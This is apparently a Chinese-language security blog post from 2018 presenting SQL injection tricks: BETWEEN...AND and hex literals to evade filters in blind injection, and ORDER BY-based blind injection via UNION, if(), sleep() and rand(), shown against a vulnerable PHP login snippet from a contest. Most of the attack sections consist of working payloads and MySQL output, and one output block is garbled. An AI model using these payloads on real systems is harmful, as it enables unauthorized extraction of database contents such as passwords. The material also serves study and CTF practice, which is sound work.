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Dec 06 2018

兩個關于sql注入的小trick

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最近發現了兩個關于sql注入的小trick,分享一下.
between and 操作符代替比較符
操作符 BETWEEN … AND 會選取介于兩個值之間的數據范圍。這些值可以是數值、文本或
者日期。
between and有數據比較功能
exp1 between min and max
如果exp1的結果處于min和max之間,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] |
| 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | [email protected] |
| 4 | add | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] |
+----+----------+----------------------------------+-------------------+
大多數數據庫都支持between and操作,但是對于邊界的處理有所不同,在mysql中,between
and 是包含邊界的,在數學中也就是[min,max]
在盲注中應用
between and可以用來在過濾了=,like, regexp,>,<的情況下使用.
mysql> select database();
+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)
1. 配合截取函數使用
mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)
2. 截取函數被過濾
表達式
select exp between min and max
在截取字符函數被過濾的時候,設置min和 max的方式有所改變.
測試1
mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
測試2
mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
由測試可知,當exp為單個字符時三種區間返回值都是1,但是當exp為字符串時,當區間為a-b時,
返回值為0.區間為a-c或者b-c時,返回值為1.
也就是在進行字符串比較時,只會包含一邊的值,也就是[b,c).
所以在實際利用時,就要注意區間的范圍.
實際測試
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)
由結果可知,第一個字符為t
第二個字符
mysql> select database() between 'tatest
+----------------------------------+test
| database() between 'ta' and 'tz' |test
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
剩下的以此類推.最終為test.
3. 單引號被過濾
between and還支持16進制,所以可以用16進制,來繞過單引號的過濾.
測試
mysql> select database() between 0x61 and 0x7a; //select database() between 'a'
and 'z';
+----------------------------------+
| database() between 0x61 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x74 and 0x7a; //select database() between 't'
and 'z';
+----------------------------------+
| database() between 0x74 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x75 and 0x7a; //select database() between 'u'
and 'z';
+----------------------------------+
| database() between 0x75 and 0x7a |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
了解order by
order by是mysql中對查詢數據進行排序的方法,
使用示例
select * from 表名 order by 列名(或者數字) asc;升序(默認升序)
select * from 表名 order by 列名(或者數字) desc;降序
這里的重點在于order by后既可以填列名或者是一個數字。舉個例子:
id是user表的第一列的列名,那么如果想根據id來排序,有兩種寫法:
select * from user order by id;
selecr * from user order by 1;
order by盲注
結合union來盲注
這個是在安恒杯月賽上看到的。
后臺關鍵代碼
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql語句就變為
select * from admin where username='admin' or 1 union select 1,2,binary '字符串'
order by 3;
這里就會對第三列進行比較,即將字符串和密碼進行比較。然后就可以根據頁面返回的不同
情況進行盲注。
注意的是最好加上binary,因為order by比較的時候不區分大小寫。
基于if()盲注
需要知道列名
order by的列不同,返回的頁面當然也是不同的,所以就可以根據排序的列不同來盲注。
示例:
order by if(1=1,id,username);
這里如果使用數字代替列名是不行的,因為if語句返回的是字符類型,不是整型。
不需要知道列名
payload
order by if(表達式,1,(select id from information_schema.tables))
如果表達式為false時,sql語句會報ERROR 1242 (21000): Subquery returns more than
1 row的錯誤,導致查詢內容為空,如果表達式為true是,則會返回正常的頁面。
基于時間的盲注
payload
order by if(1=1,1,sleep(1))
測試結果
select * from ha order by if(1=1,1,sleep(1)); #正常時間
select * from ha order by if(1=2,1,sleep(1)); #有延遲
測試的時候發現延遲的時間并不是sleep(1)中的1秒,而是大于1秒。
最后發現延遲的時間和所查詢的數據的條數是成倍數關系的。
計算公式:
延遲時間=sleep(1)的秒數*所查詢數據條數
我所測試的ha表中有五條數據,所以延遲了5秒。如果查詢的數據很多時,延遲的時間就會
很長了。
在寫腳本時,可以添加timeout這一參數來避免延遲時間過長這一情況。
基于rang()的盲注
原理不贅述了,直接看測試結果
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+
可以看到當rang()為true和false時,排序結果是不同的,所以就可以使用rang()函數進行盲
注了。

order by rand(ascii(mid((select database()),1,1))>96)
后記
order by注入在crf里其實出現挺多了,一直沒有總結過.這次比較全的整理了一下(自認為比較
全.XD),就和between and一起發出來了.歡迎師傅交流學習.

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